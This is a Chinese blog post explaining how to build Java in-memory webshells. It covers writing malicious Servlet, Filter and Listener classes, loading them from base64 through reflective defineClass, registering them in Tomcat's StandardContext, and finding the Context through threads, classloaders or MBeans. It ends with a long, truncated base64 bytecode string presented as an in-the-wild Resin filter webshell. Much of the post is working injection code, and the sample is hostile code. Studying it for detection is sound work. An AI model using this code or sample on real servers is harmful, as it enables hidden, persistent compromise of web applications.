之前在jianshu上写了很多博客,但是安全相关的最近很多都被锁了。所以准备陆陆续续转到csdn来。内存马前几年一直是个很热门的漏洞攻击手段,因为相对于落地的木马,无文件攻击的内存马隐蔽性、持久性更强,适用的漏洞场景也更多。
Java内存马
最早的内存马是针对于Java的。常见的中间件无论Tomcat、Weblogic、Jboss、Jetty、Resin还是TongWeb都是Java Web容器,它们是遵循Java EE(现为 Jakarta EE)规范的服务器环境,专门用于运行Java Web应用程序。遵循Java EE规范的包含三大组件:Servlet、Filter(过滤器)、Listener(监听器)。简单来说就是一般用Java语言开发的Web应用程序都运行在Java Web容器上,而容器本身包含这三大组件。
由于三大组件是Java Web容器内置的,如果它们具有恶意的代码就和木马有着同样的作用。远程访问木马往往需要能执行各类的操作,例如打开文件、删除数据等。所以恶意代码中就需要包含能执行操作系统命令的功能。当Java Web容器启动时,Java Web容器会加载Servlet实现类到JVM中,即存在于内存中。恶意代码在jsp中的就叫做jsp木马,而存在于内存中的就叫做内存马。
如何制作内存马
那么内存马攻击的流程就是将制作的恶意Servlet、Filter或Servlet注入到内存中,然后模拟Java Web容器对它的加载过程。核心就是三步:(1)制作恶意的Listener、Filter或Servlet (2)注入到内存 (3)根据不同的Java Web容器对三者的加载进行模拟。
步骤1——制作恶意的Listener、Filter或Servlet
也就是新建一个类实现Listener、Filter或Servlet接口,重写其中的方法。这里需要注意的是Listener。Servlet的作用域包括:`ServletContext、HttpSession、HttpServletRequest`,对Http请求进行监听是更为通用的做法,也就是选取`HttpServletRequest`对应的监听器更容易利用,即`ServletRequestListener`接口。
public class MyListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// 恶意代码
}
}
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
// 恶意代码
}
@Override
public void destroy() {}
}
public class MyServlet extends HttpServlet {
public void init(ServletConfig servletConfig) throws ServletException {}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 恶意代码
}
public void destroy() {}
}
步骤2——注入到内存
制作完上述的恶意Listener、Filter、Servlet实现类后,需要注入到内存中,通过类加载器进行。因为目标系统中并不存在这些实现类,所以没法new,那么就通过先将类转换成base64字符串,然后在注入内存前转换成class,来解决这个问题。
ClassLoader classLoader=Thread.currentThread().getContextClassLoader();
String ServletBase64="yv66vg..." // Listener/Filter/Servlet类的base64字符串;
byte[] ServletClass = new BASE64Decoder().decodeBuffer(ServletBase64);
Method defineClass1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass1.setAccessible(true);
Class servletClass = (Class) defineClass1.invoke(classLoader, ServletClass, 0, ServletClass.length);
Object servletObject=servletClass.newInstance();
步骤3——根据不同的中间件对三者的加载进行模拟
这一步是最难的。不同的中间件加载方式不同。中间件在初始化的过程中对web.xml中的内容进行解析,然后加载到`Context`这个共享变量空间去。这样全局都可以使用这些变量。不同的中间件对`Context`的实现类不同。例如,Tomcat对其的实现类叫做`StandardContext`,Weblogic对其的实现类叫`WebAppServletContext`...
(1)web.xml
web.xml也是Java Web规范,各类中间件通用,写法如下:
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.axisx.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>
<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.axisx.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/filter</url-pattern> //当访问`/filter`路由时会先被MyFilter拦截,调用MyFilter类的doFilter方法
</filter-mapping>
<listener>
<listener-class>com.axisx.MyListener</listener-class>
</listener>
上面提到Tomcat的共享变量空间叫做StandardContext,这个空间中要将三大组件加载进来从而全局可用。以Filter为例,看一下它的加载方法。
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
//FilterDef:Filter定义的表示,代表<filter>标签中的内容
FilterDef filterDef = this.context.findFilterDef(filterName);
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName); //对应<filter-name>
//StandardContext.addFilterDef
this.context.addFilterDef(filterDef);
}
..
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter); // 对应<filter-class>
}
}
public boolean filterStart() {
Iterator i$ = this.filterDefs.entrySet().iterator();
while(i$.hasNext()) {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); //将步骤a中的FilterDef放进来
this.filterConfigs.put(name, filterConfig); //将filterDef放入AppllicationFilterConfig.filterConfigs
}
}
public void addFilterMaps(FilterMaps filterMaps) {
for(i$ = 0; i$ < len$; ++i$) {
urlPattern = arr$[i$];
fmap = new FilterMap(); //对应<filter-mapping>
fmap.setFilterName(filterMaps.getFilterName()); //对应子标签<filter-name>
fmap.setURLPattern(urlPattern); //对应子标签<url-pattern
fmap.setDispatcherTypes(filterMaps.getDispatcherTypes());
this.addFilterMap(fmap);
}
}
模拟加载过程,就是仿照上述代码对恶意Filter进行加载。
// 1 实现恶意Filter
Filter filter = new Filter() {. // init() 、 doFilter() 、 destory()方法重写
};
// 2 定义FilterDef
String name="MyFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 3 创建ApplicationFilterConfig,FilterDef放入FilterConfig中
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 4 定义FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 5 将filterConfig添加到filterConfigs、filterMap添加到filterMaps
filterConfigs.put(name,filterConfig);
standardContext.addFilterMap(filterMap);
但是为了保证通用性,上述代码需要全部用反射来改写。
如何获取Context
第三步中我们默认已经获取了Tomcat的StandardContext。但在实际应用的时候,Context也是需要手动获取的。但是每个中间件对于Context的实现类是全局唯一的,不能new。如何获取呢?
a. 通过request对象,但是有时候页面中获取不到request对象。
request.getSession().getServletContext();
request.getServletContext(); // Tomcat7及以上
b. 通过类加载器,找到Context对应的类加载器
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取当前线程上下文类加载器ParallelWebappClassLoader,是webappClassLoaderBase的子类
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
c. 通过Java特性,例如MBean。Tomcat获取MBean可以看之前的文章:Tomcat获取MBean - 简书
这里补充一下Weblogic获取MBean。Weblogic中有个类weblogic.t3.srvr.ServerRuntime
,用于运行时管理,它采用单例模式设计,只有一个对象能够被外界访问,通过theOne
方法可以获取。该类的children中有很多MBean的实现类,通过其中的ApplicationRuntimeMBeanImpl获取Context示例如下。
d. 通过线程。这也是最为常用的方式。以Tomcat为例,架构如下。
连接器是用来接收请求的。Thread.currentThread().getThreadGroup();看到当前线程如下, 会发现有一个是走的Acceptor。
按照Tomcat架构的逻辑逐层寻找,最终能找到StandardContext。
这种通过线程查找Context的方法并不唯一。因为a.中提到可以从request中获取Context。那么也就可以先从Thread中找到request,然后用request找到Context
然后获取Context就写成了如下的反射代码
ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();
Field field=threadGroup.getClass().getDeclaredField("threads");
field.setAccessible(true);
Thread[] threads=(Thread[])field.get(threadGroup);
for (Thread thread : threads) {
if(thread.getName().contains("Acceptor")&&thread.getName().contains("http")){
Field tfield=thread.getClass().getDeclaredField("target");
tfield.setAccessible(true);
Object NioEndpoint$=tfield.get(thread);
...
}
}
最后,将上述内容连起来,制作一个恶意的Listener、Filter或者Servlet,注入到内存中。然后通过线程等方式获取到Context。利用Context中的方法将注入到内容中的内容进行加载,就完成了一个Java内存马的制作。
在野样本分析
补充一下,之前网上流传的一串野生Resin Filter
String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CgAGADEBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBHY0qIgFIfyI2KS9ZazAkJ3Z3U200NC0kJgUSHy8YTjg5BCkvA0wjGiMwMxJbAzUgBw0zJgNvODs2JTE5SDwyCiMvEkgjFCMjKxIoIywaBzI2NyMrGAciMjA2JgUHNT4xMCIDSjl5BCkvA0wjGiMwMx5HNgktLBNANz4nMjAQ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